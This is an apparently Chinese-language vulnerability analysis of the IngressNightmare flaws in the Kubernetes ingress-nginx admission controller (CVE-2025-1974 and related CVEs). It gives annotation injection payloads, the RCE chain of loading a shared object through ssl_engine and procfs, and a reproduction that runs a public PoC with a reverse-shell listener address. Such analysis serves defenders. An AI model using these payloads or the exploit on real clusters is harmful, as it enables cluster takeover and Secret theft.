概述

Kubernetes 中的 Ingress 是管理外部流量访问集群内部服务的核心组件,它通过定义路由规则(如域名、路径等)将 HTTP/HTTPS 请求精准分发到后端服务,同时提供负载均衡、SSL/TLS 终止等能力。

Ingress 控制器是 Kubernetes 中实现 Ingress 规则的核心组件,负责将用户定义的虚拟主机、路径路由等规则转化为实际的流量分发策略,并动态管理负载均衡器或反向代理的配置。

Kubernetes 中有许多 Ingress 控制器,大多数是第三方项目,对于 Nginx Ingress 控制器是少数 Kubernetes 官方支持和维护的,Wiz 发现对于可以访问 Pod 网络的未授权攻击者可以对Nginx Ingress 控制器传入恶意 Ingress 对象从而远程注入任意 Nginx 配置,并进一步导致 Secret 泄露。

漏洞背景

CVE-2025-24514、CVE-2025-1097、CVE-2025-1098、CVE-2025-1974

ingress-nginx 影响版本:

  • < v1.11.0
  • v1.11.0-1.11.4
  • v1.12.0

利用此漏洞攻击者可通过对准入控制器完成提权,通过执行任意代码获得集群内所有命名空间的 Secret 可进一步接管集群。

Wiz 发现 Nginx Ingress 控制器在处理传入的AdmissionReview请求时会对模版文件和Ingress对象生成一个临时的配置文件,使用nginx -t测试有效性;由于Admission Controller缺少身份验证,攻击者可从集群内的任意 Pod 发送任意Admission Controller请求,基于此 Wiz 发现了三种新的注入方式:CVE-2025-24514 – auth-url Annotation Injection 、CVE-2025-1097 – auth-tls-match-cn Annotation Injection、CVE-2025-1098 – mirror UID Injection ,通过这几种漏洞完成配置注入。

CVE-2025-1972 RCE 组合上面三配置注入的方式,利用 Ingress 准入控制器 Webhook 未经验证,以及 nginx 客户端和controller-admission在同一 Pod 内完成指令注入完成恶意 so 写入和加载达成 RCE。

配置注入的方式

CVE-2025-24514 – auth-url Annotation Injection

authreq 解析器负责处理与身份验证相关的 Comments。创建临时配置时,$externalAuth.URL(对应于 auth-url 注释中的 URL)将被合并,而无需进行适当的清理:

由于缺乏适当的处理,攻击者可以注入配置指令,会在运行nginx -t被评估。

可参考以下auth-url注释:

bash
1
nginx.ingress.kubernetes.io/auth-url: "http://example.com/#;\ninjection_point" 

该漏洞补丁添加了适当的引用:

CVE-2025-1097 – auth-tls-match-cn Annotation Injection

authtls解析器在对auth-tls-match-cn注解时使用parser.CommonNameAnnotationValidator验证字段

auth-tls-match-cn 注释验证需要:

  1. 值必须以CN=开头
  2. 所有剩余字符必须构成有效的正则表达式

要利用该注释,还需要提供了nginx.ingress.kubernetes.io/auth-tls-secret,由于ingress-nginx使用的 sa 权限高,可以访问所有的 Secret

可参考以下auth-tls-match-cn注释:

bash
1
2
nginx.ingress.kubernetes.io/auth-tls-match-cn: "CN=abc #(\n){}\n }}\nglobal_injection;\n#", 
nginx.ingress.kubernetes.io/auth-tls-secret: "namespace/secrets-name"

该漏洞修复添加了引用:

CVE-2025-1098 – mirror UID Injection

mirror 解析器会处理来自Ingress 对象中的的 UID 并插入$location.Mirror.Source中,可以看出 UID 不在 k8s 的注解中,后面还有三个对Annotation的注解处理

可参考以下uid注释(参考Esonhugh师傅的 exp,同时也有另外的):

该补丁修复也是同样添加了引用:

从配置注入到 RCE

CVE-2025-1974 RCE

ingress-nginx 的历史漏洞都是在拥有创建 Ingress 对象的权限下才能完成利用,Wiz借助准入控制器 Webhook 默认没有权限校验的情况下,只要在 Pod 网络可达内就可以直接发起admission请求,无需通过 api-server,借助之前的几个漏洞完成配置注入。

admission在接收到 Webhook 请求后会调用HandleAdmission对请求进一步处理

通过调用CheckIngress对传入的 Ingress 对象做配置检测

通过调用testTemplate检测传入的配置是否有效

testTemplate会对传入的字节数组检查,并创建临时的文件,然后调用Test运行nginx -t完成对临时保存的配置文件检测

Wiz 通过对nginx -t进行指令分析测试后发现 ssl_engine 指令是 OpenSSL 模块的一部分,该指令可以在配置文件的任何位置可用,也可加载共享库。

接下来只需要完成上传恶意 so 文件并加载,等着反弹 shell 了。

对于 so 文件如何上传到 Pod 内,Wiz 发现 nginx 客户端和ingress-nginx-controller在同一 Pod 内运行

通过对 Nginx 客户端发送 HTTP 请求将恶意 so 放在 body 中,利用client-body对的缓冲将恶意 so 保存在 pod 内的文件系统中,虽然 nginx 也会删除缓冲的文件,但是 nginx 有一个指向该文件打开的文件描述符,通过ProcFS可以访问该文件。

通过ssl_engine指令加载恶意 so,通过猜测PID和FD找到文件描述符,通过ProcFS访问该恶意 so 完成加载。

对于猜测需要的时间,保持文件描述符打开可将Content-Length设置大于实际内容,以使 nginx 等待导致进程挂起文件描述符可以打开时间更长。

该漏洞修复直接禁用了nginx -t对配置文件的检测

复现过程

参考官方文档https://github.com/kubernetes/ingress-nginx,对比存在漏洞的版本安装 Ingress nginx

安装成功后

bash
1
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/baremetal/deploy.yaml

创建一个 python pod 方便运行 exp

yaml
1
2
3
4
5
6
7
8
9
10
apiVersion: v1
kind: Pod
metadata:
name: python-pod
spec:
containers:
- name: python-container
image: python:3.9
command: ["sleep", "infinity"] # 防止 Pod 退出
restartPolicy: Never
bash
1
2
3
kubectl apply -f python-pod.yaml
kubectl exec -it python-pod -- bash
git clone https://github.com/hakaioffsec/IngressNightmare-PoC.git

bash
1
2
3
4
5
6
7
8
9
kubectl get validatingwebhookconfigurations ingress-nginx-admission -o yaml
clientConfig:
service:
name: ingress-nginx-controller-admission
namespace: ingress-nginx
path: /networking/v1/ingresses
port: 443

python exploit.py http://192.168.56.10:30009 https://ingress-nginx-controller-admission.ingress-nginx 192.168.56.1:1234

Ingress 控制器的风险

Ingress 控制器作为Kubernetes API请求处理的关键拦截层,其重要性不言而喻,对于集群想要暴露服务对于ClusterIP(集群内)、NodePort、LoadBalancer等方式,Ingress是最复杂的同时也是功能最强大的,应用广泛,同时控制器也多种多样,这其中存在的风险就非常大了。

风险核心在于:

  1. 无认证的Webhook服务,仅依赖网络可达性,默认仅验证Kubernetes API Server发起的请求,但未对请求内容进行二次鉴权。攻击者可通过集群内任意Pod直接访问Webhook端点,甚至可能通过NodePort暴露到集群外,如对未加密的ValidatingWebhook端点注入恶意规则。
  2. 高权限上下文运行,准入控制器默认以system:masters组权限运行,可访问集群核心资源(如SecretPodSecurityPolicy)且能修改请求内容。攻击者AdmissionReview请求一旦被劫持,攻击者可绕过Pod安全策略(如特权容器注入)、篡改资源定义(如在Deployment中植入后门镜像)、窃取敏感数据(通过MutatingWebhook拦截Secret创建请求)等。

典型攻击场景有Webhook劫持攻击、拒绝服务链式反应、配置错误利用、供应链污染、敏感信息泄露等等,准入控制器的安全本质是信任边界问题。

在云原生快速演进的今天,需要从传统的“配置检查”转向身份认证网络化、策略代码化、运行时自愈等,建立准入控制器的全生命周期安全管理流程。

参考